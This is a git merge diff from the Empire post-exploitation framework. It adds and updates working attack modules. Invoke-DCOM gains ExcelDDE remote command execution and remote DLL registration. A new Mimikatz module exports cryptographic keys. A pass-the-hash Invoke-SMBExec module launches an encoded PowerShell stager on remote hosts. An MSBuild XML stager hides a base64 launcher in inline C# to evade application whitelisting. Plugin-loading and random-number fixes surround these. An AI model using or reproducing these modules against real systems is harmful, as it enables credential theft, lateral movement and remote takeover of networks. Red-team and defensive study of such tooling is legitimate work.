Merge branch 'dev' of https://github.com/EmpireProject/Empire into dev
commit
47f09ed045
24
changelog
24
changelog
|
@ -1,3 +1,27 @@
|
|||
Running
|
||||
------------
|
||||
- Added Kevin Robertson's Invoke-SMBExec.ps1
|
||||
- Update Invoke-DCOM
|
||||
|
||||
10/29/2017
|
||||
------------
|
||||
- Version 2.3 Master Release
|
||||
— Fix for #755
|
||||
— Merge PR from byt3bl33d3r for TLS version
|
||||
— Removed option to set chunk size for file downloads
|
||||
— Fix for #729 (Unable to download files with spaces)
|
||||
— Fix renegotiation in powershell agent. Patched python agent to exit on 401 response.
|
||||
— Fix for #774 (Fix pyinstaller module)
|
||||
— Added resource scripts capability (Carrie Roberts)
|
||||
— Fix for #749 (Fix external agent modules)
|
||||
— Fix for #369 (Fixed http_hop listener with ssl and self-signed certificate)
|
||||
— Merge Invoke-PowerDump fix
|
||||
— Merge fixes for 718 (Fix generate function signature for module @nikaiw)
|
||||
— Merge fixes for 762 (Code cleanup from EmPyre @elitest)
|
||||
— Merge ntds execution module (@hightopfade)
|
||||
— Updated generate function signatures in all modules
|
||||
— Fixed stagerURI option (rvrsh3ll)
|
||||
|
||||
10/12/2017
|
||||
--------
|
||||
- Version 2.2 Master Release
|
||||
|
|
|
@ -52,14 +52,9 @@ for name, ID in ADDITIONAL.items(): ADDITIONAL_IDS[ID] = name
|
|||
|
||||
# If a secure random number generator is unavailable, exit with an error.
|
||||
try:
|
||||
try:
|
||||
import ssl
|
||||
random_function = ssl.RAND_bytes
|
||||
random_provider = "Python SSL"
|
||||
except (AttributeError, ImportError):
|
||||
import OpenSSL
|
||||
random_function = OpenSSL.rand.bytes
|
||||
random_provider = "OpenSSL"
|
||||
import ssl
|
||||
random_function = ssl.RAND_bytes
|
||||
random_provider = "Python SSL"
|
||||
except:
|
||||
random_function = os.urandom
|
||||
random_provider = "os.urandom"
|
||||
|
|
|
@ -55,14 +55,9 @@ for name, ID in ADDITIONAL.items(): ADDITIONAL_IDS[ID] = name
|
|||
|
||||
# If a secure random number generator is unavailable, exit with an error.
|
||||
try:
|
||||
try:
|
||||
import ssl
|
||||
random_function = ssl.RAND_bytes
|
||||
random_provider = "Python SSL"
|
||||
except (AttributeError, ImportError):
|
||||
import OpenSSL
|
||||
random_function = OpenSSL.rand.bytes
|
||||
random_provider = "OpenSSL"
|
||||
import ssl
|
||||
random_function = ssl.RAND_bytes
|
||||
random_provider = "Python SSL"
|
||||
except:
|
||||
random_function = os.urandom
|
||||
random_provider = "os.urandom"
|
||||
|
|
|
@ -24,11 +24,11 @@ function Invoke-DCOM {
|
|||
|
||||
Invoke commands on remote hosts via MMC20.Application COM object over DCOM.
|
||||
|
||||
.PARAMETER Target
|
||||
.PARAMETER ComputerName
|
||||
|
||||
IP Address or Hostname of the remote system
|
||||
|
||||
.PARAMETER Type
|
||||
.PARAMETER Method
|
||||
|
||||
Specifies the desired type of execution
|
||||
|
||||
|
@ -39,8 +39,9 @@ function Invoke-DCOM {
|
|||
.EXAMPLE
|
||||
|
||||
Import-Module .\Invoke-DCOM.ps1
|
||||
Invoke-DCOM -Target '192.168.2.100' -Type MMC20 -Command "calc.exe"
|
||||
Invoke-DCOM -Target '192.168.2.100' -Type ServiceStart "MyService"
|
||||
Invoke-DCOM -ComputerName '192.168.2.100' -Method MMC20.Application -Command "calc.exe"
|
||||
Invoke-DCOM -ComputerName '192.168.2.100' -Method ExcelDDE -Command "calc.exe"
|
||||
Invoke-DCOM -ComputerName '192.168.2.100' -Method ServiceStart "MyService"
|
||||
#>
|
||||
|
||||
[CmdletBinding()]
|
||||
|
@ -50,9 +51,10 @@ function Invoke-DCOM {
|
|||
$ComputerName,
|
||||
|
||||
[Parameter(Mandatory = $true, Position = 1)]
|
||||
[ValidateSet("MMC20", "ShellWindows","ShellBrowserWindow","CheckDomain","ServiceCheck","MinimizeAll","ServiceStop","ServiceStart")]
|
||||
[ValidateSet("MMC20.Application", "ShellWindows","ShellBrowserWindow","CheckDomain","ServiceCheck","MinimizeAll","ServiceStop","ServiceStart",
|
||||
"DetectOffice","RegisterXLL","ExcelDDE")]
|
||||
[String]
|
||||
$Method = "MMC20",
|
||||
$Method = "MMC20.Application",
|
||||
|
||||
[Parameter(Mandatory = $false, Position = 2)]
|
||||
[string]
|
||||
|
@ -60,7 +62,12 @@ function Invoke-DCOM {
|
|||
|
||||
[Parameter(Mandatory = $false, Position = 3)]
|
||||
[string]
|
||||
$Command= "calc.exe"
|
||||
$Command= "calc.exe",
|
||||
|
||||
[Parameter(Mandatory = $false, Position = 4)]
|
||||
[string]
|
||||
$DllPath
|
||||
|
||||
)
|
||||
|
||||
Begin {
|
||||
|
@ -108,7 +115,7 @@ function Invoke-DCOM {
|
|||
#Begin main process block
|
||||
|
||||
#Check for which type we are using and apply options accordingly
|
||||
if ($Method -Match "MMC20") {
|
||||
if ($Method -Match "MMC20.Application") {
|
||||
|
||||
$Com = [Type]::GetTypeFromProgID("MMC20.Application","$ComputerName")
|
||||
$Obj = [System.Activator]::CreateInstance($Com)
|
||||
|
@ -163,6 +170,26 @@ function Invoke-DCOM {
|
|||
$Obj = [System.Activator]::CreateInstance($Com)
|
||||
$obj.Document.Application.ServiceStart("$ServiceName")
|
||||
}
|
||||
elseif ($Method -Match "DetectOffice") {
|
||||
|
||||
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
|
||||
$Obj = [System.Activator]::CreateInstance($Com)
|
||||
$isx64 = [boolean]$obj.Application.ProductCode[21]
|
||||
Write-Host $(If ($isx64) {"Office x64 detected"} Else {"Office x86 detected"})
|
||||
}
|
||||
elseif ($Method -Match "RegisterXLL") {
|
||||
|
||||
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
|
||||
$Obj = [System.Activator]::CreateInstance($Com)
|
||||
$obj.Application.RegisterXLL("$DllPath")
|
||||
}
|
||||
elseif ($Method -Match "ExcelDDE") {
|
||||
|
||||
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
|
||||
$Obj = [System.Activator]::CreateInstance($Com)
|
||||
$Obj.DisplayAlerts = $false
|
||||
$Obj.DDEInitiate("cmd", "/c $Command")
|
||||
}
|
||||
}
|
||||
|
||||
End {
|
||||
|
|
File diff suppressed because it is too large
Load Diff
|
@ -21,6 +21,8 @@ import hashlib
|
|||
import time
|
||||
import fnmatch
|
||||
import shlex
|
||||
import pkgutil
|
||||
import importlib
|
||||
|
||||
# Empire imports
|
||||
import helpers
|
||||
|
@ -30,6 +32,7 @@ import listeners
|
|||
import modules
|
||||
import stagers
|
||||
import credentials
|
||||
import plugins
|
||||
from zlib_wrapper import compress
|
||||
from zlib_wrapper import decompress
|
||||
|
||||
|
@ -68,6 +71,10 @@ class MainMenu(cmd.Cmd):
|
|||
# globalOptions[optionName] = (value, required, description)
|
||||
self.globalOptions = {}
|
||||
|
||||
# currently active plugins:
|
||||
# {'pluginName': classObject}
|
||||
self.loadedPlugins = {}
|
||||
|
||||
# empty database object
|
||||
self.conn = self.database_connect()
|
||||
time.sleep(1)
|
||||
|
@ -381,6 +388,51 @@ class MainMenu(cmd.Cmd):
|
|||
# CMD methods
|
||||
###################################################
|
||||
|
||||
def do_plugins(self, args):
|
||||
"List all available and active plugins."
|
||||
pluginPath = os.path.abspath("plugins")
|
||||
print(helpers.color("[*] Searching for plugins at {}".format(pluginPath)))
|
||||
# From walk_packages: "Note that this function must import all packages
|
||||
# (not all modules!) on the given path, in order to access the __path__
|
||||
# attribute to find submodules."
|
||||
pluginNames = [name for _, name, _ in pkgutil.walk_packages([pluginPath])]
|
||||
numFound = len(pluginNames)
|
||||
|
||||
# say how many we found, handling the 1 case
|
||||
if numFound == 1:
|
||||
print(helpers.color("[*] {} plugin found".format(numFound)))
|
||||
else:
|
||||
print(helpers.color("[*] {} plugins found".format(numFound)))
|
||||
|
||||
# if we found any, list them
|
||||
if numFound > 0:
|
||||
print("\tName\tActive")
|
||||
print("\t----\t------")
|
||||
activePlugins = self.loadedPlugins.keys()
|
||||
for name in pluginNames:
|
||||
active = ""
|
||||
if name in activePlugins:
|
||||
active = "******"
|
||||
print("\t" + name + "\t" + active)
|
||||
|
||||
print("")
|
||||
print(helpers.color("[*] Use \"plugin <plugin name>\" to load a plugin."))
|
||||
|
||||
def do_plugin(self, pluginName):
|
||||
"Load a plugin file to extend Empire."
|
||||
pluginPath = os.path.abspath("plugins")
|
||||
print(helpers.color("[*] Searching for plugins at {}".format(pluginPath)))
|
||||
# From walk_packages: "Note that this function must import all packages
|
||||
# (not all modules!) on the given path, in order to access the __path__
|
||||
# attribute to find submodules."
|
||||
pluginNames = [name for _, name, _ in pkgutil.walk_packages([pluginPath])]
|
||||
if pluginName in pluginNames:
|
||||
print(helpers.color("[*] Plugin {} found.".format(pluginName)))
|
||||
# 'self' is the mainMenu object
|
||||
plugins.load_plugin(self, pluginName)
|
||||
else:
|
||||
raise Exception("[!] Error: the plugin specified does not exist in {}.".format(pluginPath))
|
||||
|
||||
def postcmd(self, stop, line):
|
||||
if len(self.resourceQueue) > 0:
|
||||
nextcmd = self.resourceQueue.pop(0)
|
||||
|
|
|
@ -22,6 +22,7 @@ Includes:
|
|||
import base64
|
||||
import hashlib
|
||||
import hmac
|
||||
import os
|
||||
import string
|
||||
import M2Crypto
|
||||
|
||||
|
@ -57,11 +58,9 @@ try:
|
|||
import ssl
|
||||
random_function = ssl.RAND_bytes
|
||||
random_provider = "Python SSL"
|
||||
except (AttributeError, ImportError):
|
||||
import OpenSSL
|
||||
random_function = OpenSSL.rand.bytes
|
||||
random_provider = "OpenSSL"
|
||||
|
||||
except:
|
||||
random_function = os.urandom
|
||||
random_provider = "os.urandom"
|
||||
|
||||
def pad(data):
|
||||
"""
|
||||
|
@ -285,7 +284,7 @@ class DiffieHellman(object):
|
|||
_rand = int.from_bytes(random_function(_bytes), byteorder='big')
|
||||
except:
|
||||
# Python 2
|
||||
_rand = int(OpenSSL.rand.bytes(_bytes).encode('hex'), 16)
|
||||
_rand = int(random_function(_bytes).encode('hex'), 16)
|
||||
|
||||
return _rand
|
||||
|
||||
|
|
|
@ -0,0 +1,41 @@
|
|||
""" Utilities and helpers and etc. for plugins """
|
||||
|
||||
import importlib
|
||||
|
||||
import lib.common.helpers as helpers
|
||||
|
||||
def load_plugin(mainMenu, pluginName):
|
||||
""" Given the name of a plugin and a menu object, load it into the menu """
|
||||
# note the 'plugins' package so the loader can find our plugin
|
||||
fullPluginName = "plugins." + pluginName
|
||||
module = importlib.import_module(fullPluginName)
|
||||
pluginObj = module.Plugin(mainMenu)
|
||||
mainMenu.loadedPlugins[pluginName] = pluginObj
|
||||
|
||||
class Plugin(object):
|
||||
# to be overwritten by child
|
||||
description = "This is a description of this plugin."
|
||||
|
||||
def __init__(self, mainMenu):
|
||||
# having these multiple messages should be helpful for debugging
|
||||
# user-reported errors (can narrow down where they happen)
|
||||
print(helpers.color("[*] Initializing plugin..."))
|
||||
# any future init stuff goes here
|
||||
|
||||
print(helpers.color("[*] Doing custom initialization..."))
|
||||
# do custom user stuff
|
||||
self.onLoad()
|
||||
|
||||
# now that everything is loaded, register functions and etc. onto the main menu
|
||||
print(helpers.color("[*] Registering plugin with menu..."))
|
||||
self.register(mainMenu)
|
||||
|
||||
def onLoad(self):
|
||||
""" Things to do during init: meant to be overridden by
|
||||
the inheriting plugin. """
|
||||
pass
|
||||
|
||||
def register(self, mainMenu):
|
||||
""" Any modifications made to the main menu are done here
|
||||
(meant to be overriden by child) """
|
||||
pass
|
|
@ -250,8 +250,7 @@ class Listener:
|
|||
stager += helpers.randomize_capitalization("$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;")
|
||||
else:
|
||||
# TODO: implement form for other proxy
|
||||
stager += helpers.randomize_capitalization("$proxy=New-Object Net.WebProxy;")
|
||||
stager += helpers.randomize_capitalization("$proxy.Address = '"+ proxy.lower() +"';")
|
||||
stager += helpers.randomize_capitalization("$proxy=New-Object Net.WebProxy('"+ proxy.lower() +"');")
|
||||
stager += helpers.randomize_capitalization("$wc.Proxy = $proxy;")
|
||||
if proxyCreds.lower() == "default":
|
||||
stager += helpers.randomize_capitalization("$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;")
|
||||
|
@ -259,9 +258,13 @@ class Listener:
|
|||
# TODO: implement form for other proxy credentials
|
||||
username = proxyCreds.split(':')[0]
|
||||
password = proxyCreds.split(':')[1]
|
||||
domain = username.split('\\')[0]
|
||||
usr = username.split('\\')[1]
|
||||
stager += "$netcred = New-Object System.Net.NetworkCredential('"+usr+"','"+password+"','"+domain+"');"
|
||||
if len(username.split('\\')) > 1:
|
||||
usr = username.split('\\')[1]
|
||||
domain = username.split('\\')[0]
|
||||
stager += "$netcred = New-Object System.Net.NetworkCredential('"+usr+"','"+password+"','"+domain+"');"
|
||||
else:
|
||||
usr = username.split('\\')[0]
|
||||
stager += "$netcred = New-Object System.Net.NetworkCredential('"+usr+"','"+password+"');"
|
||||
stager += helpers.randomize_capitalization("$wc.Proxy.Credentials = $netcred;")
|
||||
|
||||
#save the proxy settings to use during the entire staging process and the agent
|
||||
|
@ -767,7 +770,7 @@ def send_message(packets=None):
|
|||
#if signaled for restaging, exit.
|
||||
if HTTPError.code == 401:
|
||||
sys.exit(0)
|
||||
|
||||
|
||||
return (HTTPError.code, '')
|
||||
|
||||
except urllib2.URLError as URLerror:
|
||||
|
|
|
@ -0,0 +1,78 @@
|
|||
from lib.common import helpers
|
||||
|
||||
class Module:
|
||||
|
||||
def __init__(self, mainMenu, params=[]):
|
||||
|
||||
self.info = {
|
||||
'Name': 'Invoke-Mimikatz DumpKeys',
|
||||
|
||||
'Author': ['@JosephBialek', '@gentilkiwi'],
|
||||
|
||||
'Description': ("Runs PowerSploit's Invoke-Mimikatz function "
|
||||
"to extract all keys to the local directory."),
|
||||
|
||||
'Background' : True,
|
||||
|
||||
'OutputExtension' : None,
|
||||
|
||||
'NeedsAdmin' : True,
|
||||
|
||||
'OpsecSafe' : True,
|
||||
|
||||
'Language' : 'powershell',
|
||||
|
||||
'MinLanguageVersion' : '2',
|
||||
|
||||
'Comments': [
|
||||
'http://clymb3r.wordpress.com/',
|
||||
'http://blog.gentilkiwi.com'
|
||||
]
|
||||
}
|
||||
|
||||
# any options needed by the module, settable during runtime
|
||||
self.options = {
|
||||
# format:
|
||||
# value_name : {description, required, default_value}
|
||||
'Agent' : {
|
||||
'Description' : 'Agent to run module on.',
|
||||
'Required' : True,
|
||||
'Value' : ''
|
||||
}
|
||||
}
|
||||
|
||||
# save off a copy of the mainMenu object to access external functionality
|
||||
# like listeners/agent handlers/etc.
|
||||
self.mainMenu = mainMenu
|
||||
|
||||
for param in params:
|
||||
# parameter format is [Name, Value]
|
||||
option, value = param
|
||||
if option in self.options:
|
||||
self.options[option]['Value'] = value
|
||||
|
||||
|
||||
def generate(self, obfuscate=False, obfuscationCommand=""):
|
||||
|
||||
# read in the common module source code
|
||||
moduleSource = self.mainMenu.installPath + "/data/module_source/credentials/Invoke-Mimikatz.ps1"
|
||||
if obfuscate:
|
||||
helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand)
|
||||
moduleSource = moduleSource.replace("module_source", "obfuscated_module_source")
|
||||
try:
|
||||
f = open(moduleSource, 'r')
|
||||
except:
|
||||
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
|
||||
return ""
|
||||
|
||||
moduleCode = f.read()
|
||||
f.close()
|
||||
|
||||
script = moduleCode
|
||||
|
||||
# add in the key dumping command
|
||||
scriptEnd = """Invoke-Mimikatz -Command 'crypto::capi privilege::debug crypto::cng "crypto::keys /export"' """
|
||||
if obfuscate:
|
||||
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
||||
script += scriptEnd
|
||||
return script
|
|
@ -46,7 +46,7 @@ class Module:
|
|||
'Value' : ''
|
||||
},
|
||||
'Method' : {
|
||||
'Description' : 'COM method to use.',
|
||||
'Description' : 'COM method to use. MMC20.Application,ShellWindows,ShellBrowserWindow,ExcelDDE',
|
||||
'Required' : True,
|
||||
'Value' : 'ShellWindows'
|
||||
},
|
||||
|
|
|
@ -0,0 +1,154 @@
|
|||
from lib.common import helpers
|
||||
|
||||
class Module:
|
||||
|
||||
def __init__(self, mainMenu, params=[]):
|
||||
|
||||
self.info = {
|
||||
'Name': 'Invoke-SMBExec',
|
||||
|
||||
'Author': ['@rvrsh3ll'],
|
||||
|
||||
'Description': ('Executes a stager on remote hosts using SMBExec.ps1'),
|
||||
|
||||
'Background' : False,
|
||||
|
||||
'OutputExtension' : None,
|
||||
|
||||
'NeedsAdmin' : False,
|
||||
|
||||
'OpsecSafe' : True,
|
||||
|
||||
'Language' : 'powershell',
|
||||
|
||||
'MinLanguageVersion' : '2',
|
||||
|
||||
'Comments': ["https://raw.githubusercontent.com/Kevin-Robertson/Invoke-TheHash/master/Invoke-SMBExec.ps1"]
|
||||
}
|
||||
|
||||
# any options needed by the module, settable during runtime
|
||||
self.options = {
|
||||
# format:
|
||||
# value_name : {description, required, default_value}
|
||||
'Agent' : {
|
||||
'Description' : 'Agent to run module on.',
|
||||
'Required' : True,
|
||||
'Value' : ''
|
||||
},
|
||||
'CredID' : {
|
||||
'Description' : 'CredID from the store to use.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'ComputerName' : {
|
||||
'Description' : 'Host[s] to execute the stager on, comma separated.',
|
||||
'Required' : True,
|
||||
'Value' : ''
|
||||
},
|
||||
'Username' : {
|
||||
'Description' : 'Username.',
|
||||
'Required' : True,
|
||||
'Value' : ''
|
||||
},
|
||||
'Domain' : {
|
||||
'Description' : 'Domain.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'Hash' : {
|
||||
'Description' : 'NTLM Hash in LM:NTLM or NTLM format.',
|
||||
'Required' : True,
|
||||
'Value' : ''
|
||||
},
|
||||
'Service' : {
|
||||
'Description' : 'Name of service to create and delete. Defaults to 20 char random.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'Listener' : {
|
||||
'Description' : 'Listener to use.',
|
||||
'Required' : True,
|
||||
'Value' : ''
|
||||
},
|
||||
'UserAgent' : {
|
||||
'Description' : 'User-agent string to use for the staging request (default, none, or other).',
|
||||
'Required' : False,
|
||||
'Value' : 'default'
|
||||
},
|
||||
'Proxy' : {
|
||||
'Description' : 'Proxy to use for request (default, none, or other).',
|
||||
'Required' : False,
|
||||
'Value' : 'default'
|
||||
},
|
||||
'ProxyCreds' : {
|
||||
'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).',
|
||||
'Required' : False,
|
||||
'Value' : 'default'
|
||||
}
|
||||
}
|
||||
|
||||
# save off a copy of the mainMenu object to access external functionality
|
||||
# like listeners/agent handlers/etc.
|
||||
self.mainMenu = mainMenu
|
||||
|
||||
for param in params:
|
||||
# parameter format is [Name, Value]
|
||||
option, value = param
|
||||
if option in self.options:
|
||||
self.options[option]['Value'] = value
|
||||
|
||||
|
||||
def generate(self, obfuscate=False, obfuscationCommand=""):
|
||||
|
||||
listenerName = self.options['Listener']['Value']
|
||||
computerName = self.options['ComputerName']['Value']
|
||||
userName = self.options['Username']['Value']
|
||||
NTLMhash = self.options['Hash']['Value']
|
||||
domain = self.options['Domain']['Value']
|
||||
service = self.options['Service']['Value']
|
||||
userAgent = self.options['UserAgent']['Value']
|
||||
proxy = self.options['Proxy']['Value']
|
||||
proxyCreds = self.options['ProxyCreds']['Value']
|
||||
|
||||
moduleSource = self.mainMenu.installPath + "/data/module_source/lateral_movement/Invoke-SMBExec.ps1"
|
||||
if obfuscate:
|
||||
helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand)
|
||||
moduleSource = moduleSource.replace("module_source", "obfuscated_module_source")
|
||||
try:
|
||||
f = open(moduleSource, 'r')
|
||||
except:
|
||||
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
|
||||
return ""
|
||||
|
||||
moduleCode = f.read()
|
||||
f.close()
|
||||
|
||||
script = moduleCode
|
||||
|
||||
|
||||
|
||||
|
||||
if not self.mainMenu.listeners.is_listener_valid(listenerName):
|
||||
# not a valid listener, return nothing for the script
|
||||
print helpers.color("[!] Invalid listener: " + listenerName)
|
||||
return ""
|
||||
|
||||
else:
|
||||
|
||||
# generate the PowerShell one-liner with all of the proper options set
|
||||
launcher = self.mainMenu.stagers.generate_launcher(listenerName, language='powershell', encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds)
|
||||
|
||||
if launcher == "":
|
||||
print helpers.color("[!] Error in launcher generation.")
|
||||
return ""
|
||||
else:
|
||||
|
||||
stagerCmd = '%COMSPEC% /C start /b C:\\Windows\\System32\\WindowsPowershell\\v1.0\\' + launcher
|
||||
scriptEnd = "Invoke-SMBExec -Target %s -Username %s -Domain %s -Hash %s -Command '%s'" % (computerName, userName, domain, NTLMhash, stagerCmd)
|
||||
|
||||
|
||||
scriptEnd += "| Out-String | %{$_ + \"`n\"};"
|
||||
if obfuscate:
|
||||
scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
||||
script += scriptEnd
|
||||
return script
|
|
@ -0,0 +1,160 @@
|
|||
from lib.common import helpers
|
||||
|
||||
class Stager:
|
||||
|
||||
def __init__(self, mainMenu, params=[]):
|
||||
|
||||
self.info = {
|
||||
'Name': 'msbuild_xml',
|
||||
|
||||
'Author': ['@p3nt4'],
|
||||
|
||||
'Description': ('Generates an XML file to be run with MSBuild.exe'),
|
||||
|
||||
'Comments': [
|
||||
'On the endpoint simply launch MSBuild.exe payload.xml'
|
||||
]
|
||||
}
|
||||
|
||||
# any options needed by the stager, settable during runtime
|
||||
self.options = {
|
||||
# format:
|
||||
# value_name : {description, required, default_value}
|
||||
'Listener': {
|
||||
'Description': 'Listener to generate stager for.',
|
||||
'Required': True,
|
||||
'Value': ''
|
||||
},
|
||||
'Language' : {
|
||||
'Description' : 'Language of the stager to generate.',
|
||||
'Required' : True,
|
||||
'Value' : 'powershell'
|
||||
},
|
||||
'StagerRetries': {
|
||||
'Description': 'Times for the stager to retry connecting.',
|
||||
'Required': False,
|
||||
'Value': '0'
|
||||
},
|
||||
'Obfuscate' : {
|
||||
'Description' : 'Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand for obfuscation types. For powershell only.',
|
||||
'Required' : False,
|
||||
'Value' : 'False'
|
||||
},
|
||||
'ObfuscateCommand' : {
|
||||
'Description' : 'The Invoke-Obfuscation command to use. Only used if Obfuscate switch is True. For powershell only.',
|
||||
'Required' : False,
|
||||
'Value' : r'Token\All\1,Launcher\STDIN++\12467'
|
||||
},
|
||||
'OutFile': {
|
||||
'Description': 'File to output XML to, otherwise displayed on the screen.',
|
||||
'Required': False,
|
||||
'Value': '/tmp/launcher.xml'
|
||||
},
|
||||
'UserAgent': {
|
||||
'Description': 'User-agent string to use for the staging request (default, none, or other).',
|
||||
'Required': False,
|
||||
'Value': 'default'
|
||||
},
|
||||
'Proxy': {
|
||||
'Description': 'Proxy to use for request (default, none, or other).',
|
||||
'Required': False,
|
||||
'Value': 'default'
|
||||
},
|
||||
'ProxyCreds': {
|
||||
'Description': 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).',
|
||||
'Required': False,
|
||||
'Value': 'default'
|
||||
}
|
||||
}
|
||||
|
||||
# save off a copy of the mainMenu object to access external functionality
|
||||
# like listeners/agent handlers/etc.
|
||||
self.mainMenu = mainMenu
|
||||
|
||||
for param in params:
|
||||
# parameter format is [Name, Value]
|
||||
option, value = param
|
||||
if option in self.options:
|
||||
self.options[option]['Value'] = value
|
||||
|
||||
def generate(self):
|
||||
|
||||
# extract all of our options
|
||||
language = self.options['Language']['Value']
|
||||
listenerName = self.options['Listener']['Value']
|
||||
obfuscate = self.options['Obfuscate']['Value']
|
||||
obfuscateCommand = self.options['ObfuscateCommand']['Value']
|
||||
userAgent = self.options['UserAgent']['Value']
|
||||
proxy = self.options['Proxy']['Value']
|
||||
proxyCreds = self.options['ProxyCreds']['Value']
|
||||
stagerRetries = self.options['StagerRetries']['Value']
|
||||
|
||||
encode = True
|
||||
|
||||
obfuscateScript = False
|
||||
if obfuscate.lower() == "true":
|
||||
obfuscateScript = True
|
||||
|
||||
# generate the launcher code
|
||||
launcher = self.mainMenu.stagers.generate_launcher(
|
||||
listenerName, language=language, encode=encode, obfuscate=obfuscateScript, obfuscationCommand=obfuscateCommand, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries)
|
||||
|
||||
launcher_array=launcher.split()
|
||||
if len(launcher_array) > 1:
|
||||
print helpers.color("[*] Removing Launcher String")
|
||||
launcher = launcher_array[-1]
|
||||
|
||||
if launcher == "":
|
||||
print helpers.color("[!] Error in launcher command generation.")
|
||||
return ""
|
||||
else:
|
||||
code ="<Project ToolsVersion=\"4.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">"
|
||||
code += "<Target Name=\"EmpireStager\">"
|
||||
code += "<ClassExample />"
|
||||
code += "</Target>"
|
||||
code += "<UsingTask "
|
||||
code += "TaskName=\"ClassExample\" "
|
||||
code += "TaskFactory=\"CodeTaskFactory\" "
|
||||
code += "AssemblyFile=\"C:\\Windows\\Microsoft.Net\\Framework\\v4.0.30319\\Microsoft.Build.Tasks.v4.0.dll\" >"
|
||||
code += "<Task>"
|
||||
code += "<Reference Include=\"System.Management.Automation\" />"
|
||||
code += "<Using Namespace=\"System\" />"
|
||||
code += "<Using Namespace=\"System.IO\" />"
|
||||
code += "<Using Namespace=\"System.Reflection\" />"
|
||||
code += "<Using Namespace=\"System.Collections.Generic\" />"
|
||||
code += "<Code Type=\"Class\" Language=\"cs\">"
|
||||
code += "<![CDATA[ "
|
||||
code += "using System;"
|
||||
code += "using System.IO;"
|
||||
code += "using System.Diagnostics;"
|
||||
code += "using System.Reflection;"
|
||||
code += "using System.Runtime.InteropServices;"
|
||||
code += "using System.Collections.ObjectModel;"
|
||||
code += "using System.Management.Automation;"
|
||||
code += "using System.Management.Automation.Runspaces;"
|
||||
code += "using System.Text;"
|
||||
code += "using Microsoft.Build.Framework;"
|
||||
code += "using Microsoft.Build.Utilities;"
|
||||
code += "public class ClassExample : Task, ITask"
|
||||
code += "{"
|
||||
code += "public override bool Execute()"
|
||||
code += "{"
|
||||
code += "byte[] data = Convert.FromBase64String(\""+launcher+"\");string script = Encoding.Unicode.GetString(data);"
|
||||
code += "PSExecute(script);"
|
||||
code += "return true;"
|
||||
code += "}"
|
||||
code += "public static void PSExecute(string cmd)"
|
||||
code += "{"
|
||||
code += "Runspace runspace = RunspaceFactory.CreateRunspace();"
|
||||
code += "runspace.Open();"
|
||||
code += "Pipeline pipeline = runspace.CreatePipeline();"
|
||||
code += "pipeline.Commands.AddScript(cmd);"
|
||||
code += "pipeline.InvokeAsync();"
|
||||
code += "}"
|
||||
code += "}"
|
||||
code += " ]]>"
|
||||
code += "</Code>"
|
||||
code += "</Task>"
|
||||
code += "</UsingTask>"
|
||||
code += "</Project>"
|
||||
return code
|
|
@ -0,0 +1,35 @@
|
|||
""" An example of a plugin. """
|
||||
|
||||
from lib.common.plugins import Plugin
|
||||
import lib.common.helpers as helpers
|
||||
|
||||
# anything you simply write out (like a script) will run immediately when the
|
||||
# module is imported (before the class is instantiated)
|
||||
print("Hello from your new plugin!")
|
||||
|
||||
# this class MUST be named Plugin
|
||||
class Plugin(Plugin):
|
||||
description = "An example plugin."
|
||||
|
||||
def onLoad(self):
|
||||
""" any custom loading behavior - called by init, so any
|
||||
behavior you'd normally put in __init__ goes here """
|
||||
print("Custom loading behavior happens now.")
|
||||
|
||||
# you can store data here that will persist until the plugin
|
||||
# is unloaded (i.e. Empire closes)
|
||||
self.calledTimes = 0
|
||||
|
||||
def register(self, mainMenu):
|
||||
""" any modifications to the mainMenu go here - e.g.
|
||||
registering functions to be run by user commands """
|
||||
mainMenu.__class__.do_test = self.do_test
|
||||
|
||||
def do_test(self, args):
|
||||
"An example of a plugin function."
|
||||
print("This is executed from a plugin!")
|
||||
print(helpers.color("[*] It can even import Empire functionality!"))
|
||||
|
||||
# you can also store data in the plugin (see onLoad)
|
||||
self.calledTimes += 1
|
||||
print("This function has been called {} times.".format(self.calledTimes))
|
|
@ -27,7 +27,7 @@ if lsb_release -d | grep -q "Fedora"; then
|
|||
pip install flask
|
||||
pip install macholib
|
||||
pip install dropbox
|
||||
pip install 'pyopenssl==17.2.0'
|
||||
pip install pyopenssl
|
||||
pip install pyinstaller
|
||||
pip install zlib_wrapper
|
||||
pip install netifaces
|
||||
|
@ -44,7 +44,7 @@ elif lsb_release -d | grep -q "Kali"; then
|
|||
pip install flask
|
||||
pip install macholib
|
||||
pip install dropbox
|
||||
pip install 'pyopenssl==17.2.0'
|
||||
pip install pyopenssl
|
||||
pip install pyinstaller
|
||||
pip install zlib_wrapper
|
||||
pip install netifaces
|
||||
|
@ -85,7 +85,7 @@ elif lsb_release -d | grep -q "Ubuntu"; then
|
|||
pip install pyOpenSSL
|
||||
pip install macholib
|
||||
pip install dropbox
|
||||
pip install 'pyopenssl==17.2.0'
|
||||
pip install pyopenssl
|
||||
pip install pyinstaller
|
||||
pip install zlib_wrapper
|
||||
pip install netifaces
|
||||
|
@ -115,7 +115,7 @@ else
|
|||
pip install dropbox
|
||||
pip install cryptography
|
||||
pip install pyOpenSSL
|
||||
pip install 'pyopenssl==17.2.0'
|
||||
pip install pyopenssl
|
||||
pip install zlib_wrapper
|
||||
pip install netifaces
|
||||
pip install M2Crypto
|
||||
|
|
